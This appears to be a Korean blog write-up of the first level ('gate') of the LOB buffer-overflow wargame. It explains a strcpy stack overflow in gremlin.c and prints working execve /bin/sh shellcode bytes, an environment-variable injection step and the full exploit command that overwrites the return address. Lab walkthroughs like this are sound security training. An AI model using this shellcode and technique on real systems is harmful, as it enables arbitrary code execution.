LOB의 첫번째 문제인 gate이다.
gremlin.c에 코드가 적혀있다.
딱봐도 strcpy에서 buffer이상의 값을 넘겨줘서 ret값을 바꾸면 되게 생겼다.
단, LOB에서는 /bin/bash에서 0xff를 0x00으로 인식하는 버그가 있어 /bin/bash2를 실행하여야 한다.
해당 쉘코드는 다음과 같다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
그럼 우선 환경변수에 이 쉘코드를 넣는다.
getenv의 코드는 다음과 같다
즉 내가 넣은 SHELL의 주소를 반환하는 코드이다.
실행결과 주소가 0xbfffff32인 것을 확인할 수 있다.
그럼 우선 더미값을 확인해 보자.
0x100은 십진수로 256이다. 즉 이 문제에는 dummy값이 없다.
그렇다면 argv[1]에 260바이트를 채운 뒤 환경변수의 주소를 넣으면 된다.
./gremlin `python -c 'print "A"*260 + "\x32\xff\xff\xbf"'`
'LOB' 카테고리의 다른 글
LOB : Wolfman → Darkelf (0) | 2018.04.08 |
---|---|
LOB : Orc → Wolfman (0) | 2018.04.08 |
LOB : Goblin → Orc (0) | 2018.04.08 |
LOB : Cobolt → Goblin (0) | 2018.04.04 |
LOB : Gremlin → Cobolt (0) | 2018.04.04 |